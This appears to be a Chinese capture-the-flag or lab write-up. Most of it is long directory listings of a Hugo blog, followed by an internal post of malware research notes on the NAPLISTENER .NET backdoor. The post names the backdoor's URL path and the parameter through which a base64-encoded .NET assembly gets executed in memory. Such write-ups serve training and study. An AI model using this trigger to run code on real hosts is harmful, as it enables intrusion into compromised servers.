040777/rwxrwxrwx  0     dir   2023-06-09 15:28:20 +0800  internal-laps-alpha
100666/rw-rw-rw-  493   fil   2023-06-09 15:18:40 +0800  no-more-laps.mdListing: C:\Temp\www\internal/content
=====================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 15:20:20 +0800  postsNo entries exist in C:\Temp\www\internal/data
No entries exist in C:\Temp\www\internal/layouts
Listing: C:\Temp\www\internal/public/categories
===============================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  3663  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  573   fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/css
========================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  2771  fil   2023-06-09 15:18:40 +0800  dark.726cd11ca6eb7c4f7d48eb420354f814e5c1b94281aaf8f  d0511c1319f7f78a4.css
100666/rw-rw-rw-  2354  fil   2023-06-09 15:18:40 +0800  fonts.2c2227b81b1970a03e760aa2e6121cd01f87c88586803c  bb282aa224720a765f.css
100666/rw-rw-rw-  5617  fil   2023-06-09 15:18:40 +0800  main.ac08a4c9714baa859217f92f051deb58df2938ec352b506  df655005dcaf98cc0.cssListing: C:\Temp\www\internal/public/fonts
==========================================Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  25059  fil   2023-06-09 15:18:41 +0800  fira-sans-v10-latin-regular.eot
100666/rw-rw-rw-  53644  fil   2023-06-09 15:18:41 +0800  fira-sans-v10-latin-regular.svg
100666/rw-rw-rw-  54984  fil   2023-06-09 15:18:41 +0800  fira-sans-v10-latin-regular.ttf
100666/rw-rw-rw-  25888  fil   2023-06-09 15:18:41 +0800  fira-sans-v10-latin-regular.woff
100666/rw-rw-rw-  21244  fil   2023-06-09 15:18:41 +0800  fira-sans-v10-latin-regular.woff2
100666/rw-rw-rw-  17474  fil   2023-06-09 15:18:41 +0800  ibm-plex-mono-v6-latin-500italic.eot
100666/rw-rw-rw-  62747  fil   2023-06-09 15:18:41 +0800  ibm-plex-mono-v6-latin-500italic.svg
100666/rw-rw-rw-  40032  fil   2023-06-09 15:18:41 +0800  ibm-plex-mono-v6-latin-500italic.ttf
100666/rw-rw-rw-  19900  fil   2023-06-09 15:18:41 +0800  ibm-plex-mono-v6-latin-500italic.woff
100666/rw-rw-rw-  15224  fil   2023-06-09 15:18:41 +0800  ibm-plex-mono-v6-latin-500italic.woff2
100666/rw-rw-rw-  13517  fil   2023-06-09 15:18:41 +0800  roboto-mono-v12-latin-regular.eot
100666/rw-rw-rw-  71187  fil   2023-06-09 15:18:41 +0800  roboto-mono-v12-latin-regular.svg
100666/rw-rw-rw-  22224  fil   2023-06-09 15:18:41 +0800  roboto-mono-v12-latin-regular.ttf
100666/rw-rw-rw-  15160  fil   2023-06-09 15:18:41 +0800  roboto-mono-v12-latin-regular.woff
100666/rw-rw-rw-  12312  fil   2023-06-09 15:18:41 +0800  roboto-mono-v12-latin-regular.woff2Listing: C:\Temp\www\internal/public/js
=======================================Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  68387  fil   2023-06-09 15:18:40 +0800  feather.min.js
100666/rw-rw-rw-  0      fil   2023-06-09 15:18:40 +0800  main.js
100666/rw-rw-rw-  824    fil   2023-06-09 15:18:41 +0800  themetoggle.jsListing: C:\Temp\www\internal/public/page/1
===========================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  322   fil   2023-06-09 15:18:40 +0800  index.htmlListing: C:\Temp\www\internal/public/page/2
===========================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  4594  fil   2023-06-09 15:18:40 +0800  index.htmlListing: C:\Temp\www\internal/public/page
=========================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  1
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  2Listing: C:\Temp\www\internal/public/posts/enable-ssl-iis
=========================================================Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  10011  fil   2023-06-09 15:18:40 +0800  index.htmlListing: C:\Temp\www\internal/public/posts/enable-ssl-powershell
================================================================Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  12722  fil   2023-06-09 15:18:40 +0800  index.htmlListing: C:\Temp\www\internal/public/posts/first-re-research
============================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  7841  fil   2023-06-09 15:18:40 +0800  index.htmlListing: C:\Temp\www\internal/public/posts/golang-reversing
===========================================================Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  10940  fil   2023-06-09 15:18:40 +0800  index.htmlListing: C:\Temp\www\internal/public/posts/intro-dot-net-re
===========================================================Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  10903  fil   2023-06-09 15:18:40 +0800  index.htmlListing: C:\Temp\www\internal/public/posts/re-report-sleeperbot
===============================================================Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  11364  fil   2023-06-09 15:18:40 +0800  index.htmlListing: C:\Temp\www\internal/public/posts/setup-basic-auth
===========================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  9794  fil   2023-06-09 15:18:40 +0800  index.htmlListing: C:\Temp\www\internal/public/posts/setup-basic-auth-powershell
======================================================================Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  12419  fil   2023-06-09 15:18:40 +0800  index.htmlListing: C:\Temp\www\internal/public/posts
==========================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  enable-ssl-iis
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  enable-ssl-powershell
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  first-re-research
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  golang-reversing
100666/rw-rw-rw-  3744  fil   2023-06-09 15:18:40 +0800  index.html
100666/rw-rw-rw-  1408  fil   2023-06-09 15:18:40 +0800  index.xml
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  intro-dot-net-re
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  re-report-sleeperbot
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  setup-basic-auth
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  setup-basic-auth-powershellListing: C:\Temp\www\internal/public/tags/.net
==============================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  3741  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  1414  fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/tags/authentication
========================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  3949  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  2388  fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/tags/golang
================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  3743  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  1582  fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/tags/iis
=============================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  4201  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  4101  fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/tags/introduction
======================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  4127  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  3307  fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/tags/malware
=================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  3759  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  1426  fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/tags/powershell
====================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  3739  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  1561  fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/tags/re
============================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  3729  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  1406  fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/tags/report
================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  3693  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  1451  fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/tags/reverse-engineering
=============================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  4169  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  3335  fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/tags/ssl
=============================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  3845  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  2349  fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/tags/tutorial
==================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  4231  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  4121  fil   2023-06-09 15:18:41 +0800  index.xmlListing: C:\Temp\www\internal/public/tags
=========================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  .net
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  authentication
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  golang
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  iis
100666/rw-rw-rw-  3944  fil   2023-06-09 15:18:41 +0800  index.html
100666/rw-rw-rw-  1423  fil   2023-06-09 15:18:41 +0800  index.xml
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  introduction
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  malware
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  powershell
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  re
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  report
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  reverse-engineering
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  ssl
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  tutorialListing: C:\Temp\www\internal/public
====================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  categories
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:40 +0800  css
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:41 +0800  fonts
100666/rw-rw-rw-  4115  fil   2023-06-09 15:18:40 +0800  index.html
100666/rw-rw-rw-  1378  fil   2023-06-09 15:18:40 +0800  index.xml
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  js
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  page
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:40 +0800  posts
100666/rw-rw-rw-  1059  fil   2023-06-09 15:18:40 +0800  sitemap.xml
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:41 +0800  tagsNo entries exist in C:\Temp\www\internal/resources/_gen/assets
No entries exist in C:\Temp\www\internal/resources/_gen/images
Listing: C:\Temp\www\internal/resources/_gen
============================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 02:14:20 +0800  assets
040777/rwxrwxrwx  0     dir   2023-06-09 02:14:20 +0800  imagesListing: C:\Temp\www\internal/resources
=======================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  _genNo entries exist in C:\Temp\www\internal/static
Listing: C:\Temp\www\internal/themes/archie/.git/hooks
======================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  478   fil   2023-06-09 15:18:43 +0800  applypatch-msg.sample
100666/rw-rw-rw-  896   fil   2023-06-09 15:18:43 +0800  commit-msg.sample
100666/rw-rw-rw-  4726  fil   2023-06-09 15:18:43 +0800  fsmonitor-watchman.sample
100666/rw-rw-rw-  189   fil   2023-06-09 15:18:43 +0800  post-update.sample
100666/rw-rw-rw-  424   fil   2023-06-09 15:18:43 +0800  pre-applypatch.sample
100666/rw-rw-rw-  1643  fil   2023-06-09 15:18:43 +0800  pre-commit.sample
100666/rw-rw-rw-  416   fil   2023-06-09 15:18:43 +0800  pre-merge-commit.sample
100666/rw-rw-rw-  1374  fil   2023-06-09 15:18:43 +0800  pre-push.sample
100666/rw-rw-rw-  4898  fil   2023-06-09 15:18:43 +0800  pre-rebase.sample
100666/rw-rw-rw-  544   fil   2023-06-09 15:18:43 +0800  pre-receive.sample
100666/rw-rw-rw-  1492  fil   2023-06-09 15:18:43 +0800  prepare-commit-msg.sample
100666/rw-rw-rw-  2783  fil   2023-06-09 15:18:43 +0800  push-to-checkout.sample
100666/rw-rw-rw-  3650  fil   2023-06-09 15:18:43 +0800  update.sampleListing: C:\Temp\www\internal/themes/archie/.git/info
=====================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  240   fil   2023-06-09 15:18:43 +0800  excludeListing: C:\Temp\www\internal/themes/archie/.git/logs/refs/heads
================================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  190   fil   2023-06-09 15:18:43 +0800  masterListing: C:\Temp\www\internal/themes/archie/.git/logs/refs/remotes/origin
=========================================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  190   fil   2023-06-09 15:18:43 +0800  HEADListing: C:\Temp\www\internal/themes/archie/.git/logs/refs/remotes
==================================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  originListing: C:\Temp\www\internal/themes/archie/.git/logs/refs
==========================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  heads
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  remotesListing: C:\Temp\www\internal/themes/archie/.git/logs
=====================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  190   fil   2023-06-09 15:18:43 +0800  HEAD
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  refsNo entries exist in C:\Temp\www\internal/themes/archie/.git/objects/info
Listing: C:\Temp\www\internal/themes/archie/.git/objects/pack
=============================================================Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
100666/rw-rw-rw-  31760    fil   2023-06-09 15:18:42 +0800  pack-290d609deb869ed11ea848a2934a4a143241465c.idx  
100666/rw-rw-rw-  1360525  fil   2023-06-09 15:18:42 +0800  pack-290d609deb869ed11ea848a2934a4a143241465c.pac  kListing: C:\Temp\www\internal/themes/archie/.git/objects
========================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 02:14:20 +0800  info
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:42 +0800  packListing: C:\Temp\www\internal/themes/archie/.git/refs/heads
===========================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  41    fil   2023-06-09 15:18:43 +0800  masterListing: C:\Temp\www\internal/themes/archie/.git/refs/remotes/origin
====================================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  32    fil   2023-06-09 15:18:43 +0800  HEADListing: C:\Temp\www\internal/themes/archie/.git/refs/remotes
=============================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  originNo entries exist in C:\Temp\www\internal/themes/archie/.git/refs/tags
Listing: C:\Temp\www\internal/themes/archie/.git/refs
=====================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  heads
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  remotes
040777/rwxrwxrwx  0     dir   2023-06-09 02:14:20 +0800  tagsListing: C:\Temp\www\internal/themes/archie/.git
================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  23    fil   2023-06-09 15:18:42 +0800  HEAD
100666/rw-rw-rw-  305   fil   2023-06-09 15:18:42 +0800  config
100666/rw-rw-rw-  73    fil   2023-06-09 15:18:42 +0800  description
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:43 +0800  hooks
100666/rw-rw-rw-  6511  fil   2023-06-09 15:18:42 +0800  index
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  info
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  logs
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  objects
100666/rw-rw-rw-  449   fil   2023-06-09 15:18:42 +0800  packed-refs
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  refsListing: C:\Temp\www\internal/themes/archie/.github
===================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  92    fil   2023-06-09 15:18:42 +0800  FUNDING.ymlListing: C:\Temp\www\internal/themes/archie/archetypes
======================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  8     fil   2023-06-09 15:18:42 +0800  default.mdListing: C:\Temp\www\internal/themes/archie/assets/css
======================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  2771  fil   2023-06-09 15:18:43 +0800  dark.css
100666/rw-rw-rw-  2354  fil   2023-06-09 15:18:43 +0800  fonts.css
100666/rw-rw-rw-  5617  fil   2023-06-09 15:18:43 +0800  main.cssListing: C:\Temp\www\internal/themes/archie/assets
==================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  cssListing: C:\Temp\www\internal/themes/archie/exampleSite/archetypes
==================================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  83    fil   2023-06-09 15:18:41 +0800  default.mdListing: C:\Temp\www\internal/themes/archie/exampleSite/content/homepage
========================================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  200   fil   2023-06-09 15:18:42 +0800  about.md
100666/rw-rw-rw-  24    fil   2023-06-09 15:18:42 +0800  index.md
100666/rw-rw-rw-  372   fil   2023-06-09 15:18:42 +0800  work.mdListing: C:\Temp\www\internal/themes/archie/exampleSite/content/posts
=====================================================================Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  5834   fil   2023-06-09 15:18:42 +0800  post-1.md
100666/rw-rw-rw-  2999   fil   2023-06-09 15:18:42 +0800  post-2.md
100666/rw-rw-rw-  2727   fil   2023-06-09 15:18:42 +0800  post-3.md
100666/rw-rw-rw-  3478   fil   2023-06-09 15:18:42 +0800  post-4.md
100666/rw-rw-rw-  3714   fil   2023-06-09 15:18:42 +0800  post-5.md
100666/rw-rw-rw-  781    fil   2023-06-09 15:18:42 +0800  post-6.md
100666/rw-rw-rw-  819    fil   2023-06-09 15:18:42 +0800  post-7.md
100666/rw-rw-rw-  13215  fil   2023-06-09 15:18:42 +0800  tg-gh.mdListing: C:\Temp\www\internal/themes/archie/exampleSite/content
===============================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  33    fil   2023-06-09 15:18:42 +0800  _index.md
100666/rw-rw-rw-  1405  fil   2023-06-09 15:18:41 +0800  about.md
100666/rw-rw-rw-  57    fil   2023-06-09 15:18:42 +0800  archives.md
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:42 +0800  homepage
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:42 +0800  postsListing: C:\Temp\www\internal/themes/archie/exampleSite
=======================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  archetypes
100666/rw-rw-rw-  809   fil   2023-06-09 15:18:41 +0800  config.toml
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:42 +0800  contentListing: C:\Temp\www\internal/themes/archie/images
==================================================Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100666/rw-rw-rw-  109628  fil   2023-06-09 15:18:42 +0800  archie-dark.png
100666/rw-rw-rw-  207481  fil   2023-06-09 15:18:42 +0800  screenshot.png
100666/rw-rw-rw-  128732  fil   2023-06-09 15:18:42 +0800  theme.png
100666/rw-rw-rw-  63396   fil   2023-06-09 15:18:42 +0800  tn.pngListing: C:\Temp\www\internal/themes/archie/layouts/partials
============================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  927   fil   2023-06-09 15:18:42 +0800  disqus.html
100666/rw-rw-rw-  690   fil   2023-06-09 15:18:42 +0800  footer.html
100666/rw-rw-rw-  385   fil   2023-06-09 15:18:42 +0800  head.html
100666/rw-rw-rw-  4369  fil   2023-06-09 15:18:42 +0800  header.html
100666/rw-rw-rw-  137   fil   2023-06-09 15:18:42 +0800  pagedescription.html
100666/rw-rw-rw-  548   fil   2023-06-09 15:18:42 +0800  paginator.htmlListing: C:\Temp\www\internal/themes/archie/layouts/shortcodes
==============================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  103   fil   2023-06-09 15:18:42 +0800  callout.htmlListing: C:\Temp\www\internal/themes/archie/layouts/_default
============================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  253   fil   2023-06-09 15:18:42 +0800  baseof.html
100666/rw-rw-rw-  532   fil   2023-06-09 15:18:42 +0800  list.html
100666/rw-rw-rw-  1040  fil   2023-06-09 15:18:42 +0800  single.html
100666/rw-rw-rw-  532   fil   2023-06-09 15:18:42 +0800  term.html
100666/rw-rw-rw-  600   fil   2023-06-09 15:18:42 +0800  terms.htmlListing: C:\Temp\www\internal/themes/archie/layouts
===================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  0     fil   2023-06-09 15:18:42 +0800  404.html
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:42 +0800  _default
100666/rw-rw-rw-  999   fil   2023-06-09 15:18:42 +0800  index.html
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:42 +0800  partials
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:42 +0800  shortcodesListing: C:\Temp\www\internal/themes/archie/static/fonts
========================================================Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  25059  fil   2023-06-09 15:18:42 +0800  fira-sans-v10-latin-regular.eot
100666/rw-rw-rw-  53644  fil   2023-06-09 15:18:42 +0800  fira-sans-v10-latin-regular.svg
100666/rw-rw-rw-  54984  fil   2023-06-09 15:18:42 +0800  fira-sans-v10-latin-regular.ttf
100666/rw-rw-rw-  25888  fil   2023-06-09 15:18:42 +0800  fira-sans-v10-latin-regular.woff
100666/rw-rw-rw-  21244  fil   2023-06-09 15:18:42 +0800  fira-sans-v10-latin-regular.woff2
100666/rw-rw-rw-  17474  fil   2023-06-09 15:18:42 +0800  ibm-plex-mono-v6-latin-500italic.eot
100666/rw-rw-rw-  62747  fil   2023-06-09 15:18:42 +0800  ibm-plex-mono-v6-latin-500italic.svg
100666/rw-rw-rw-  40032  fil   2023-06-09 15:18:42 +0800  ibm-plex-mono-v6-latin-500italic.ttf
100666/rw-rw-rw-  19900  fil   2023-06-09 15:18:42 +0800  ibm-plex-mono-v6-latin-500italic.woff
100666/rw-rw-rw-  15224  fil   2023-06-09 15:18:42 +0800  ibm-plex-mono-v6-latin-500italic.woff2
100666/rw-rw-rw-  13517  fil   2023-06-09 15:18:42 +0800  roboto-mono-v12-latin-regular.eot
100666/rw-rw-rw-  71187  fil   2023-06-09 15:18:42 +0800  roboto-mono-v12-latin-regular.svg
100666/rw-rw-rw-  22224  fil   2023-06-09 15:18:42 +0800  roboto-mono-v12-latin-regular.ttf
100666/rw-rw-rw-  15160  fil   2023-06-09 15:18:42 +0800  roboto-mono-v12-latin-regular.woff
100666/rw-rw-rw-  12312  fil   2023-06-09 15:18:42 +0800  roboto-mono-v12-latin-regular.woff2Listing: C:\Temp\www\internal/themes/archie/static/js
=====================================================Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  68387  fil   2023-06-09 15:18:42 +0800  feather.min.js
100666/rw-rw-rw-  0      fil   2023-06-09 15:18:42 +0800  main.js
100666/rw-rw-rw-  824    fil   2023-06-09 15:18:42 +0800  themetoggle.jsListing: C:\Temp\www\internal/themes/archie/static
==================================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:42 +0800  fonts
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:42 +0800  jsListing: C:\Temp\www\internal/themes/archie
===========================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:43 +0800  .git
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:42 +0800  .github
100666/rw-rw-rw-  1084  fil   2023-06-09 15:18:41 +0800  LICENSE
100666/rw-rw-rw-  3000  fil   2023-06-09 15:18:41 +0800  README.md
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:42 +0800  archetypes
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:43 +0800  assets
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  exampleSite
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:42 +0800  images
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:42 +0800  layouts
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:42 +0800  static
100666/rw-rw-rw-  606   fil   2023-06-09 15:18:41 +0800  theme.tomlListing: C:\Temp\www\internal/themes
====================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:43 +0800  archieListing: C:\Temp\www\internal
=============================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  0     fil   2023-06-09 15:18:40 +0800  .hugo_build.lock
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  archetypes
040777/rwxrwxrwx  0     dir   2023-06-09 02:14:20 +0800  assets
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  content
040777/rwxrwxrwx  0     dir   2023-06-09 02:14:20 +0800  data
100666/rw-rw-rw-  1003  fil   2023-06-09 15:18:40 +0800  hugo.toml
040777/rwxrwxrwx  0     dir   2023-06-09 02:14:20 +0800  layouts
040777/rwxrwxrwx  4096  dir   2023-06-09 15:18:41 +0800  public
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:40 +0800  resources
040777/rwxrwxrwx  0     dir   2023-06-09 02:14:20 +0800  static
040777/rwxrwxrwx  0     dir   2023-06-09 15:18:41 +0800  themes

查看這個子域名目錄下面的文件
有一個 a.exe 的文件,比較可疑

在這里插入圖片描述
目錄下面還有文章,我們可以看到一個是介紹 后門的 另一個是介紹 自己實現LAPS,本地保護策略,也是就backup用戶的密碼隨著時間會變化

在這里插入圖片描述

first-re-research.md


---
title: "**INTERNAL** Malware research notes"
description: A collection of notes for the current research we might publish.
date: 2023-04-22
draft: false 
tags: [re, .NET, malware] ---# Introduction| Meta         | Data             |
| ------------ | ---------------- |
| Analyst      | Ruben            |
| Status       | Initial analysis |
| Initial find | External Report  |The malware is a .NET sample. We are tracking the malware fond by Elastic who named it NAPLISTENER.# What we know so far:So it is a backdoor:```txt
[...] HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection.  [...]

In the sanbox I can’t find the URL.

This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.Currently we are not sure on how to proceed. Log* 2023-04-24: Did some more reading up. We need to look for some URL and a special parameter
* 2023-04-23: Starting the RE process. Not sure on how to approach. 
* 2023-04-22: Nothing seems to be showing up in the sandbox, i just startes and stops again. Will be testing local
